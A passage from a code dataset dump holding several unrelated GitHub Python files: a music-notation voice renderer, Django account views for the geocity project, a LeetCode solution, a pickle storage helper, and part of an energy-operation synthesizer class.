1e-10:\n logger.debug(\"adding a very short note: %s\" % note)\n self._notes.append(note)\n self._changed()\n\n def _changed(self) -> None:\n self._meanpitch = -1\n\n def unrendered_notes(self) -> List[Note]:\n return self.notes\n\n def sort_by_time(self) -> None:\n self._notes.sort(key=lambda x: x.start)\n self._changed()\n\n def density(self) -> float:\n notes = [note for note in self.notes if not note.isrest()]\n return sum(note.dur for note in notes)/(self.end - self.start)\n\n @property\n def start(self) -> Fraction:\n \"\"\"Returns the start time of the voice\"\"\"\n return R(0) if not self.notes else self.notes[0].start\n\n def __bool__(self):\n return not self.isempty()\n\n def isempty(self) -> bool:\n return len(self._notes) == 0\n\n @property\n def end(self) -> Fraction:\n \"\"\"Returns the end time of the voice\"\"\"\n return R(0) if not self._notes else self._notes[-1].end\n\n def render(self, renderconfig:RenderConfig, end:Fraction=None) -> None:\n \"\"\"\n We create measures according to the timesignature and tempo given\n in renderconfig. We make sure that in the end the measure is\n always filled with silences\n\n Steps:\n\n * cut overlap\n * fill silences\n * divide long notes\n\n Args:\n renderconfig: the renderconfig being used\n end: if given, overrides self.end\n\n \"\"\"\n assert not self.isrendered()\n assert renderconfig is not None and isinstance(renderconfig, RenderConfig)\n self.quantize_pitches(renderconfig['pitch_resolution'])\n timesig = renderconfig.timesig\n tempo = renderconfig.tempo\n if end is None:\n end = self.end\n self.measures = []\n check_sorted(self.notes, key=lambda n: n.start)\n\n pulse = timesig2pulsedur(timesig, tempo)\n measuredur = timesig2measuredur(timesig, tempo)\n silence_at_end = measuredur - (end % measuredur)\n cutnotes = cut_overlap(self.notes)\n fillednotes = fill_silences(cutnotes, R(0), cutnotes[-1].end + silence_at_end)\n notes = divide_long_notes(fillednotes, pulse, mindur=1e-8)\n\n self.divided_notes = notes\n num_measures = int(math.ceil(end / float(measuredur)))\n for imeasure in range(num_measures):\n t0 = asR(imeasure * measuredur)\n t1 = asR(t0 + measuredur)\n notes_in_meas = []\n for note in notes:\n if note.start >= t0 and note.end <= t1:\n notes_in_meas.append(note)\n assert not notes_in_meas or abs(notes_in_meas[-1].end - t1) < 1e-8\n measure = Measure(notes_in_meas, t0, renderconfig=renderconfig)\n self.measures.append(measure)\n self.check_ties()\n self.set_dynamics(renderconfig)\n\n def set_dynamics(self, renderconfig: RenderConfig) -> None:\n \"\"\"\n Set the dynamics for each note according to the dynamics curve\n defined in renderconfig\n\n This is called at the render stage. After rendering, all notes\n should have a corresponding dynamic\n \"\"\"\n dyncurve = renderconfig.dyncurve\n for note in self.iternotes():\n if isinstance(note, Note):\n note.dynamic = dyncurve.amp2dyn(note.amp, nearest=True)\n\n def meanpitch(self) -> float:\n if self._meanpitch < 0:\n if not self.notes or all(note.isrest() for note in self.notes):\n return -1\n self._meanpitch = meanpitch(self.notes)\n return self._meanpitch\n\n # def is_free_between(self, time0, time1) -> bool:\n # return qintersection(self.start, self.end, time0, time1) is not None\n\n def addpartial(self, partial:sndtrck.Partial) -> bool:\n \"\"\"\n Returns True if partial could be added\n\n \"\"\"\n assert not self.isrendered()\n # max_overlap = R(1, 16)\n max_overlap = 0\n\n if not self.isempty():\n if partial.t0 < self.end:\n raise ValueError(f\"Overlap detected: partials starts at {partial.t0}, voice ends at {self.end}\")\n\n # partialdata: 2D numpy with columns [time, freq, amp, phase, bw]\n partialdata: np.ndarray = partial.toarray()\n amps = partialdata[:, 2]\n assert np.all(amps[1:-1]>0)\n freqs = partialdata[:, 1]\n assert np.all(freqs[1:-1]>0)\n\n if len(partialdata) < 2:\n logger.error(\"Trying to add an empty partial, skipping\")\n return False\n # TODO: hacer minamp configurable\n minamp = db2amp(-90)\n # The 1st and last bp can have amp=0, used to avoid clicks. Should we include them?\n if len(partialdata) > 2 and partialdata[0, 2] == 0 and partialdata[0, 1] == partialdata[1, 1]:\n partialdata = partialdata[1:]\n notes: List[Note] = []\n for i in range(len(partialdata)-1):\n t0, freq0, amp0, phase0, bw0 = partialdata[i, 0:5]\n t1, freq1, amp1 = partialdata[i+1, 0:3]\n dur = t1 - t0\n if dur < 1e-12:\n logger.error(\"small note: \" + str((t0, t1, freq0, amp0)))\n pitch = f2m(freq0)\n amp = amp0\n note = Note(pitch, t0, dur, max(amp, minamp), bw0, tied=False, color=\"@addpartial\")\n notes.append(note)\n # The last breakpoint was not added: add it if it would make a \n # difference in pitch and is not just a closing bp (with amp=0)\n t0, f0, a0 = partialdata[-2, 0:3] # butlast\n t1, f1, a1 = partialdata[-1, 0:3] # last\n if a1 > 0 and abs(f2m(f1) - f2m(f0)) > 0.5:\n lastnote_dur = min(self.lastnote_duration, notes[-1].dur)\n notes.append(Note(f2m(f1), start=t1, dur=lastnote_dur, amp=a1, color=\"@lastnote\"))\n notes.sort(key=lambda n: n.start)\n mindur = R(1, 128)\n if has_short_notes(notes, mindur):\n logger.error(\">>>>> short notes detected\")\n logger.error(\"\\n \".join(str(n) for n in notes if n.dur < mindur))\n raise ValueError(\"short notes detected\")\n if any(n.amp == 0 for n in notes):\n logger.error(\"Notes with amp=0 detected: \")\n logger.error(\"\\n \".join(str(n) for n in notes if n.amp == 0))\n raise ValueError(\"notes with amp=0 detected\")\n self.addnotes(notes)\n self.added_partials += 1\n return True\n\n def quantize_pitches(self, step=0.5) -> None:\n assert not self.isrendered()\n halfstep = step * 0.5\n for note in self.notes:\n note.pitch = int((note.pitch + halfstep) / step) * step\n\n def iternotes(self) -> Iter[Event]:\n assert self.isrendered()\n for measure in self.measures:\n for pulse in measure.pulses:\n for event in pulse:\n yield event\n\n def check_ties(self):\n assert self.isrendered()\n for note0, note1 in pairwise(self.iternotes()):\n if isinstance(note0, Note):\n if isinstance(note1, Note):\n if note0.pitch != note1.pitch and note0.tied:\n logger.warn(f\"Wrong tie, fixing: {note0} {note1}\")\n note0.tied = False\n elif note0.tied:\n logger.warn(f\"Wrong tie, following note is a rest, fixing: {note0} {note1}\")\n note0.tied = False\n","repo_name":"gesellkammer/sndscribe","sub_path":"sndscribe/voice.py","file_name":"voice.py","file_ext":"py","file_size_in_byte":9576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20588276190","text":"import mimetypes\nfrom urllib import parse\nfrom urllib.parse import urlparse\n\nfrom allauth.socialaccount.models import SocialApp\nfrom constance import config\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom django.contrib.auth import logout\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.tokens import default_token_generator\nfrom django.contrib.auth.views import PasswordResetView\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom django.core.mail import EmailMessage\nfrom django.http import Http404, StreamingHttpResponse\nfrom django.template.loader import render_to_string\nfrom django.utils.encoding import force_bytes\nfrom django.utils.http import urlsafe_base64_decode, urlsafe_base64_encode\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views import View\nfrom django.views.decorators.http import require_POST\n\nif settings.ENABLE_2FA:\n from two_factor.views import LoginView, ProfileView\nelse:\n from django.contrib.auth.views import LoginView\n\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import get_object_or_404, redirect, render\nfrom django.urls import reverse\n\nfrom geocity.apps.accounts.decorators import (\n check_mandatory_2FA,\n permanent_user_required,\n)\nfrom geocity.fields import PrivateFileSystemStorage\n\nfrom . import forms, models\nfrom .users import is_2FA_mandatory\n\n\n@require_POST\ndef logout_view(request):\n templatename = (\n request.session.pop(\"templatename\")\n if \"templatename\" in request.session\n else None\n )\n logout(request)\n\n redirect_uri = request.GET.get(\"next\", None)\n # Check if redirect URI is whitelisted\n if redirect_uri and urlparse(\n redirect_uri\n ).hostname in config.LOGOUT_REDIRECT_HOSTNAME_WHITELIST.split(\",\"):\n return redirect(redirect_uri)\n return redirect(\n f'{reverse(\"accounts:account_login\")}?template={templatename}'\n if templatename\n else reverse(\"accounts:account_login\")\n )\n\n\n# User has tried to many login attempts\ndef lockout_view(request):\n return render(\n request,\n \"account/lockout.html\",\n )\n\n\ndef update_context_with_filters(context, params_str, url_qs):\n if \"entityfilter\" in parse.parse_qs(params_str).keys():\n for value in parse.parse_qs(params_str)[\"entityfilter\"]:\n url_qs += \"&entityfilter=\" + value\n\n if \"typefilter\" in parse.parse_qs(params_str).keys():\n for value in parse.parse_qs(params_str)[\"typefilter\"]:\n url_qs += \"&typefilter=\" + value\n\n if url_qs:\n context.update({\"query_string\": url_qs[1:]})\n\n return context\n\n\nclass SetCurrentSiteMixin:\n def __init__(self, *args, **kwargs):\n super.__init__(*args, **kwargs)\n current_site = get_current_site(self.request)\n settings.SITE_ID = current_site.id\n settings.SITE_DOMAIN = current_site.domain\n\n\nclass CustomPasswordResetView(PasswordResetView):\n\n extra_email_context = {\"custom_host\": \"\"}\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n domain = (\n \"https://\" + self.request.build_absolute_uri().split(\"//\")[1].split(\"/\")[0]\n )\n self.extra_email_context[\"custom_host\"] = domain\n self.extra_email_context[\"site_name\"] = self.request.build_absolute_uri().split(\n \"/\"\n )[2]\n return context\n\n\n# Create this class to simulate ProfileView in a non 2FA context\nclass FakeView:\n pass\n\n\nif not settings.ENABLE_2FA:\n ProfileView = FakeView\n\n\nclass Custom2FAProfileView(ProfileView):\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n url_qs = \"\"\n uri = parse.unquote(self.request.build_absolute_uri()).replace(\"next=/\", \"\")\n params_str = (\n parse.urlsplit(uri).query.replace(\"?\", \"\").replace(settings.PREFIX_URL, \"\")\n )\n\n return update_context_with_filters(context, params_str, url_qs)\n\n\nclass CustomLoginView(LoginView, SetCurrentSiteMixin):\n def get(self, request, *args, **kwargs):\n successful = request.GET.get(\"success\")\n # check if we need to display an activation message\n # if the value is None, we didn't come from the activation view\n if successful is None:\n pass\n elif successful == \"True\":\n messages.success(\n request,\n _(\n \"Votre compte a été activé avec succès! Vous pouvez maintenant vous connecter à l'aide de vos identifiants.\"\n ),\n )\n else:\n messages.error(request, _(\"Une erreur est survenue lors de l'activation\"))\n return super().get(request, *args, **kwargs)\n\n def get_custom_template_values(self, template):\n return {\n \"application_title\": template.application_title\n if template.application_title\n else config.APPLICATION_TITLE,\n \"application_subtitle\": template.application_subtitle\n if template.application_subtitle\n else config.APPLICATION_SUBTITLE,\n \"application_description\": template.application_description\n if template.application_description\n else config.APPLICATION_DESCRIPTION,\n \"background_image\": template.background_image\n if template.background_image\n else None,\n }\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n site_id = get_current_site(self.request).id\n\n context.update(\n {\"social_apps\": SocialApp.objects.filter(sites__id=site_id).all()}\n )\n\n customization = {\n \"application_title\": config.APPLICATION_TITLE,\n \"application_subtitle\": config.APPLICATION_SUBTITLE,\n \"application_description\": config.APPLICATION_DESCRIPTION,\n \"general_conditions_url\": config.GENERAL_CONDITIONS_URL,\n \"privacy_policy_url\": config.PRIVACY_POLICY_URL,\n \"legal_notice_url\": config.LEGAL_NOTICE_URL,\n \"contact_url\": config.CONTACT_URL,\n \"background_image\": None,\n }\n\n uri = parse.unquote(self.request.build_absolute_uri()).replace(\"next=/\", \"\")\n params_str = (\n parse.urlsplit(uri).query.replace(\"?\", \"\").replace(settings.PREFIX_URL, \"\")\n )\n\n # Custom template defined in current site\n site_custom_template = models.TemplateCustomization.objects.filter(\n siteprofile__site_id=site_id\n ).first()\n if site_custom_template:\n customization = self.get_custom_template_values(site_custom_template)\n\n # Custom template defined in query strings\n self.request.session[\"templatename\"] = None\n url_qs = \"\"\n\n if \"template\" in parse.parse_qs(params_str).keys():\n template_value = parse.parse_qs(params_str)[\"template\"][0]\n template = models.TemplateCustomization.objects.filter(\n templatename=template_value\n ).first()\n if template:\n customization = self.get_custom_template_values(template)\n self.request.session[\"templatename\"] = template.templatename\n url_qs = \"&template=\" + template.templatename\n # use anonymous session\n self.request.session[\"template\"] = template_value\n context.update({\"customization\": customization})\n\n return update_context_with_filters(context, params_str, url_qs)\n\n def get_success_url(self):\n\n qs_dict = parse.parse_qs(self.request.META[\"QUERY_STRING\"])\n filter_qs = (\n qs_dict[\"next\"][0].replace(settings.PREFIX_URL, \"\").replace(\"/\", \"\")\n if \"next\" in qs_dict\n else \"\"\n )\n url_value = (\n qs_dict[\"next\"][0]\n if \"next\" in qs_dict\n else reverse(\"submissions:submission_select_administrative_entity\")\n )\n\n is_2fa_disabled = not settings.ENABLE_2FA\n\n # 2fa is disabled\n if is_2fa_disabled:\n return url_value\n\n user_with_totpdevice = self.request.user.totpdevice_set.exists()\n untrusted_user_without_totpdevice_and_not_required = not (\n user_with_totpdevice and is_2FA_mandatory(self.request.user)\n )\n\n # 2fa is disabled (otherwise he would have been catch before)\n # the user has a totp device so he dont needs to go to accounts:profile\n # or user has no totp device and isn't in a group that requires 2fa and has a redirect (qs_dict)\n if (\n user_with_totpdevice\n or untrusted_user_without_totpdevice_and_not_required\n and qs_dict\n ):\n return url_value\n # user has a 2fa mandatory\n # has no redirect (qs_dict)\n # has no totp device otherwise he would have been catch in the other conditions\n else:\n return reverse(\"accounts:profile\") + filter_qs\n\n\nclass ActivateAccountView(View):\n def get(self, request, uid, token):\n try:\n uid = urlsafe_base64_decode(uid).decode()\n user = models.User.objects.get(pk=uid)\n except models.User.DoesNotExist:\n user = None\n\n successful = user and default_token_generator.check_token(user, token)\n if successful:\n user.is_active = True\n user.save()\n\n return redirect(reverse(\"accounts:account_login\") + f\"?success={successful}\")\n\n\n@login_required\ndef user_profile_edit(request):\n django_user_form = forms.DjangoAuthUserForm(\n request.POST or None, instance=request.user\n )\n # prevent a crash when admin accesses this page\n user_profile_form = None\n if hasattr(request.user, \"userprofile\"):\n permit_author_instance = get_object_or_404(\n models.UserProfile, pk=request.user.userprofile.pk\n )\n user_profile_form = forms.GenericUserProfileForm(\n request.POST or None,\n instance=permit_author_instance,\n create=False,\n )\n\n if (\n django_user_form.is_valid()\n and user_profile_form\n and user_profile_form.is_valid()\n ):\n user = django_user_form.save()\n user_profile_form.instance.user = user\n user_profile_form.save()\n\n return HttpResponseRedirect(reverse(\"submissions:submissions_list\"))\n\n return render(\n request,\n \"accounts/user_profile_edit.html\",\n {\"user_profile_form\": user_profile_form, \"django_user_form\": django_user_form},\n )\n\n\ndef user_profile_create(request):\n django_user_form = forms.NewDjangoAuthUserForm(request.POST or None)\n user_profile_form = forms.GenericUserProfileForm(\n request.POST or None,\n create=True,\n )\n is_valid = django_user_form.is_valid() and user_profile_form.is_valid()\n\n if is_valid:\n new_user = django_user_form.save()\n # email wasn't verified yet, so account isn't active just yet\n new_user.is_active = False\n new_user.save()\n user_profile_form.instance.user = new_user\n user_profile_form.save()\n\n mail_subject = _(\"Activer votre compte\")\n message = render_to_string(\n \"registration/emails/email_confirmation.txt\",\n {\n \"user\": new_user,\n \"domain\": get_current_site(request).domain,\n \"url\": reverse(\n \"accounts:activate_account\",\n kwargs={\n # we need the user id to validate the token\n \"uid\": urlsafe_base64_encode(force_bytes(new_user.pk)),\n \"token\": default_token_generator.make_token(new_user),\n },\n ),\n \"signature\": _(\"L'équipe de Geocity\"),\n },\n )\n\n email = EmailMessage(mail_subject, message, to=[new_user.email])\n email.send()\n messages.success(\n request,\n _(\n \"Votre compte a été créé avec succès! Vous allez recevoir un email pour valider et activer votre compte.\"\n ),\n )\n return redirect(reverse(\"accounts:account_login\"))\n\n return render(\n request,\n \"accounts/user_profile_edit.html\",\n {\n \"user_profile_form\": user_profile_form,\n \"django_user_form\": django_user_form,\n },\n )\n\n\n@login_required\n@permanent_user_required\n@check_mandatory_2FA\ndef administrative_entity_file_download(request, path):\n \"\"\"\n Only allows logged user to download administrative entity files\n \"\"\"\n\n mime_type, encoding = mimetypes.guess_type(path)\n storage = PrivateFileSystemStorage()\n\n try:\n return StreamingHttpResponse(storage.open(path), content_type=mime_type)\n except IOError:\n raise Http404\n","repo_name":"yverdon/geocity","sub_path":"geocity/apps/accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12928,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"3"} +{"seq_id":"25064871806","text":"# https://leetcode.com/problems/advantage-shuffle/\n# 870\n# Medium\n\n'''\n# referred solution:\nsort and reverse B.\nsort A\nfor every element of B, if A[-1] > b - then b will take A.pop()\n'''\nimport collections\n\n\nclass Solution:\n # not accurate\n def advantageCount0(self, A, B):\n R = []\n n = len(A)\n\n for i in range(n):\n j = i\n while j < n and A[j] <= B[i]:\n j += 1\n\n if j != n:\n a = A[i]\n b = A[j]\n\n A[i] = b\n A[j] = a\n\n print(A)\n\n # referred solution:\n def advantageCount(self, A, B):\n # create a dictionary of list values\n D = collections.defaultdict(list)\n A.sort()\n\n # for each item in B from biggest to smallest:\n for b in sorted(B)[::-1]:\n # if the number is smaller than biggest of A\n # why? - Identify A's that would match with particular b,\n # So in future we will know if b has a valid match\n if b < A[-1]:\n D[b].append(A.pop())\n\n ANS = []\n\n for b in B:\n if D[b]:\n ANS.append(D[b].pop())\n else:\n ANS.append(A.pop())\n\n return ANS\n\n\nA = [2, 7, 11, 15]\nB = [1, 10, 4, 11]\n\nS = Solution()\nprint(S.advantageCount(A, B))\n","repo_name":"jkfer/LeetCode","sub_path":"Advantage_Shuffle.py","file_name":"Advantage_Shuffle.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20560830039","text":"import os\nimport pickle\nfrom conf import settings\n\ndef search(type_name,name):\n path = os.path.join(settings.DB_PATH,type_name,name)\n if os.path.exists(path):\n with open(path,'rb') as f:\n obj = pickle.load(f)\n return obj\n\ndef save(obj):\n path = os.path.join(settings.DB_PATH, obj.__class__.__name__.lower(),obj.name)\n with open(path, 'wb') as f:\n pickle.dump(obj,f)\n\n\n\n\n\n\n\n","repo_name":"guaikee/choice_course_test","sub_path":"db/db_handler.py","file_name":"db_handler.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10554818204","text":"from typing import Callable, Dict, List, Optional, Type, TypeVar\nimport pandas as pd # type: ignore\nimport numpy as np\nimport logging\nimport traceback\nfrom multiprocessing import Pool\nfrom inewave.config import MESES_DF\nfrom datetime import datetime\nfrom dateutil.relativedelta import relativedelta # type: ignore\nfrom sintetizador.utils.log import Log\nfrom sintetizador.model.settings import Settings\nfrom sintetizador.services.unitofwork import AbstractUnitOfWork\nfrom sintetizador.model.operation.variable import Variable\nfrom sintetizador.model.operation.spatialresolution import SpatialResolution\nfrom sintetizador.model.operation.temporalresolution import TemporalResolution\nfrom sintetizador.model.operation.operationsynthesis import OperationSynthesis\n\n\nFATOR_HM3_M3S = 1.0 / 2.63\n\n\nclass OperationSynthetizer:\n IDENTIFICATION_COLUMNS = [\n \"dataInicio\",\n \"dataFim\",\n \"estagio\",\n \"submercado\",\n \"submercadoDe\",\n \"submercadoPara\",\n \"ree\",\n \"pee\",\n \"usina\",\n \"patamar\",\n ]\n\n DEFAULT_OPERATION_SYNTHESIS_ARGS: List[str] = [\n \"CMO_SBM_EST\",\n \"CMO_SBM_PAT\",\n \"VAGUA_REE_EST\",\n \"CTER_SBM_EST\",\n \"CTER_SIN_EST\",\n \"COP_SIN_EST\",\n \"ENAA_REE_EST\",\n \"ENAA_SBM_EST\",\n \"ENAA_SIN_EST\",\n \"EARPF_REE_EST\",\n \"EARPF_SBM_EST\",\n \"EARPF_SIN_EST\",\n \"EARMF_REE_EST\",\n \"EARMF_SBM_EST\",\n \"EARMF_SIN_EST\",\n \"GHID_REE_EST\",\n \"GHID_SBM_EST\",\n \"GHID_SIN_EST\",\n \"GTER_SBM_EST\",\n \"GTER_SIN_EST\",\n \"GHID_REE_PAT\",\n \"GHID_SBM_PAT\",\n \"GHID_SIN_PAT\",\n \"GTER_SBM_PAT\",\n \"GTER_SIN_PAT\",\n \"EVER_REE_EST\",\n \"EVER_SBM_EST\",\n \"EVER_SIN_EST\",\n \"EVERR_REE_EST\",\n \"EVERR_SBM_EST\",\n \"EVERR_SIN_EST\",\n \"EVERF_REE_EST\",\n \"EVERF_SBM_EST\",\n \"EVERF_SIN_EST\",\n \"EVERFT_REE_EST\",\n \"EVERFT_SBM_EST\",\n \"EVERFT_SIN_EST\",\n \"QAFL_UHE_EST\",\n \"QINC_UHE_EST\",\n \"QDEF_UHE_EST\",\n \"QDEF_UHE_PAT\",\n \"VTUR_UHE_EST\",\n \"VTUR_UHE_PAT\",\n \"QTUR_UHE_EST\",\n \"QTUR_UHE_PAT\",\n \"VVER_UHE_EST\",\n \"VVER_UHE_PAT\",\n \"QVER_UHE_EST\",\n \"QVER_UHE_PAT\",\n \"VARMF_UHE_EST\",\n \"VARMF_REE_EST\",\n \"VARMF_SBM_EST\",\n \"VARMF_SIN_EST\",\n \"VARPF_UHE_EST\",\n \"GHID_UHE_PAT\",\n \"GHID_UHE_EST\",\n \"VENTO_PEE_EST\",\n \"GEOL_PEE_EST\",\n \"GEOL_SBM_EST\",\n \"GEOL_SIN_EST\",\n \"GEOL_PEE_PAT\",\n \"GEOL_SBM_PAT\",\n \"GEOL_SIN_PAT\",\n \"INT_SBP_EST\",\n \"INT_SBP_PAT\",\n \"DEF_SBM_EST\",\n \"DEF_SBM_PAT\",\n \"DEF_SIN_EST\",\n \"DEF_SIN_PAT\",\n \"CDEF_SBM_EST\",\n \"CDEF_SIN_EST\",\n \"MERL_SBM_EST\",\n \"MERL_SIN_EST\",\n \"VEOL_SBM_PAT\",\n \"VEOL_SBM_EST\",\n \"VDEFMIN_UHE_PAT\",\n \"VDEFMAX_UHE_PAT\",\n \"VTURMIN_UHE_PAT\",\n \"VTURMAX_UHE_PAT\",\n \"VFPHA_UHE_PAT\",\n \"VDEFMIN_UHE_EST\",\n \"VDEFMAX_UHE_EST\",\n \"VTURMIN_UHE_EST\",\n \"VTURMAX_UHE_EST\",\n \"VFPHA_UHE_EST\",\n \"VDEFMIN_REE_PAT\",\n \"VDEFMAX_REE_PAT\",\n \"VTURMIN_REE_PAT\",\n \"VTURMAX_REE_PAT\",\n \"VFPHA_REE_PAT\",\n \"VDEFMIN_REE_EST\",\n \"VDEFMAX_REE_EST\",\n \"VTURMIN_REE_EST\",\n \"VTURMAX_REE_EST\",\n \"VEVMIN_REE_EST\",\n \"VFPHA_REE_EST\",\n \"VDEFMIN_SBM_PAT\",\n \"VDEFMAX_SBM_PAT\",\n \"VTURMIN_SBM_PAT\",\n \"VTURMAX_SBM_PAT\",\n \"VFPHA_SBM_PAT\",\n \"VDEFMIN_SBM_EST\",\n \"VDEFMAX_SBM_EST\",\n \"VTURMIN_SBM_EST\",\n \"VTURMAX_SBM_EST\",\n \"VEVMIN_SBM_EST\",\n \"VFPHA_SBM_EST\",\n \"VDEFMIN_SIN_PAT\",\n \"VDEFMAX_SIN_PAT\",\n \"VTURMIN_SIN_PAT\",\n \"VTURMAX_SIN_PAT\",\n \"VFPHA_SIN_PAT\",\n \"VDEFMIN_SIN_EST\",\n \"VDEFMAX_SIN_EST\",\n \"VTURMIN_SIN_EST\",\n \"VTURMAX_SIN_EST\",\n \"VEVMIN_SIN_EST\",\n \"VFPHA_SIN_EST\",\n \"VVMINOP_REE_EST\",\n \"VVMINOP_SBM_EST\",\n \"VVMINOP_SIN_EST\",\n ]\n\n SYNTHESIS_TO_CACHE: List[OperationSynthesis] = [\n OperationSynthesis(\n Variable.ENERGIA_VERTIDA_RESERV,\n SpatialResolution.SISTEMA_INTERLIGADO,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.ENERGIA_VERTIDA_RESERV,\n SpatialResolution.SUBMERCADO,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.ENERGIA_VERTIDA_RESERV,\n SpatialResolution.RESERVATORIO_EQUIVALENTE,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.ENERGIA_VERTIDA_FIO,\n SpatialResolution.SISTEMA_INTERLIGADO,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.ENERGIA_VERTIDA_FIO,\n SpatialResolution.SUBMERCADO,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.ENERGIA_VERTIDA_FIO,\n SpatialResolution.RESERVATORIO_EQUIVALENTE,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.ENERGIA_VERTIDA_RESERV,\n SpatialResolution.SISTEMA_INTERLIGADO,\n TemporalResolution.PATAMAR,\n ),\n OperationSynthesis(\n Variable.ENERGIA_VERTIDA_RESERV,\n SpatialResolution.SUBMERCADO,\n TemporalResolution.PATAMAR,\n ),\n OperationSynthesis(\n Variable.ENERGIA_VERTIDA_RESERV,\n SpatialResolution.RESERVATORIO_EQUIVALENTE,\n TemporalResolution.PATAMAR,\n ),\n OperationSynthesis(\n Variable.ENERGIA_VERTIDA_FIO,\n SpatialResolution.SISTEMA_INTERLIGADO,\n TemporalResolution.PATAMAR,\n ),\n OperationSynthesis(\n Variable.ENERGIA_VERTIDA_FIO,\n SpatialResolution.SUBMERCADO,\n TemporalResolution.PATAMAR,\n ),\n OperationSynthesis(\n Variable.ENERGIA_VERTIDA_FIO,\n SpatialResolution.RESERVATORIO_EQUIVALENTE,\n TemporalResolution.PATAMAR,\n ),\n OperationSynthesis(\n Variable.VAZAO_TURBINADA,\n SpatialResolution.USINA_HIDROELETRICA,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.VAZAO_VERTIDA,\n SpatialResolution.USINA_HIDROELETRICA,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.VOLUME_TURBINADO,\n SpatialResolution.USINA_HIDROELETRICA,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.VOLUME_VERTIDO,\n SpatialResolution.USINA_HIDROELETRICA,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.VAZAO_TURBINADA,\n SpatialResolution.USINA_HIDROELETRICA,\n TemporalResolution.PATAMAR,\n ),\n OperationSynthesis(\n Variable.VAZAO_VERTIDA,\n SpatialResolution.USINA_HIDROELETRICA,\n TemporalResolution.PATAMAR,\n ),\n OperationSynthesis(\n Variable.VOLUME_TURBINADO,\n SpatialResolution.USINA_HIDROELETRICA,\n TemporalResolution.PATAMAR,\n ),\n OperationSynthesis(\n Variable.VOLUME_VERTIDO,\n SpatialResolution.USINA_HIDROELETRICA,\n TemporalResolution.PATAMAR,\n ),\n OperationSynthesis(\n Variable.VOLUME_ARMAZENADO_ABSOLUTO_FINAL,\n SpatialResolution.USINA_HIDROELETRICA,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.VOLUME_ARMAZENADO_ABSOLUTO_FINAL,\n SpatialResolution.RESERVATORIO_EQUIVALENTE,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.VOLUME_ARMAZENADO_ABSOLUTO_FINAL,\n SpatialResolution.SUBMERCADO,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_DEFLUENCIA_MAXIMA,\n SpatialResolution.USINA_HIDROELETRICA,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_DEFLUENCIA_MINIMA,\n SpatialResolution.USINA_HIDROELETRICA,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_TURBINAMENTO_MAXIMO,\n SpatialResolution.USINA_HIDROELETRICA,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_TURBINAMENTO_MINIMO,\n SpatialResolution.USINA_HIDROELETRICA,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_FPHA,\n SpatialResolution.USINA_HIDROELETRICA,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_DEFLUENCIA_MAXIMA,\n SpatialResolution.USINA_HIDROELETRICA,\n TemporalResolution.PATAMAR,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_DEFLUENCIA_MINIMA,\n SpatialResolution.USINA_HIDROELETRICA,\n TemporalResolution.PATAMAR,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_TURBINAMENTO_MAXIMO,\n SpatialResolution.USINA_HIDROELETRICA,\n TemporalResolution.PATAMAR,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_TURBINAMENTO_MINIMO,\n SpatialResolution.USINA_HIDROELETRICA,\n TemporalResolution.PATAMAR,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_FPHA,\n SpatialResolution.USINA_HIDROELETRICA,\n TemporalResolution.PATAMAR,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_DEFLUENCIA_MAXIMA,\n SpatialResolution.RESERVATORIO_EQUIVALENTE,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_DEFLUENCIA_MINIMA,\n SpatialResolution.RESERVATORIO_EQUIVALENTE,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_TURBINAMENTO_MAXIMO,\n SpatialResolution.RESERVATORIO_EQUIVALENTE,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_TURBINAMENTO_MINIMO,\n SpatialResolution.RESERVATORIO_EQUIVALENTE,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_FPHA,\n SpatialResolution.RESERVATORIO_EQUIVALENTE,\n TemporalResolution.ESTAGIO,\n ),\n 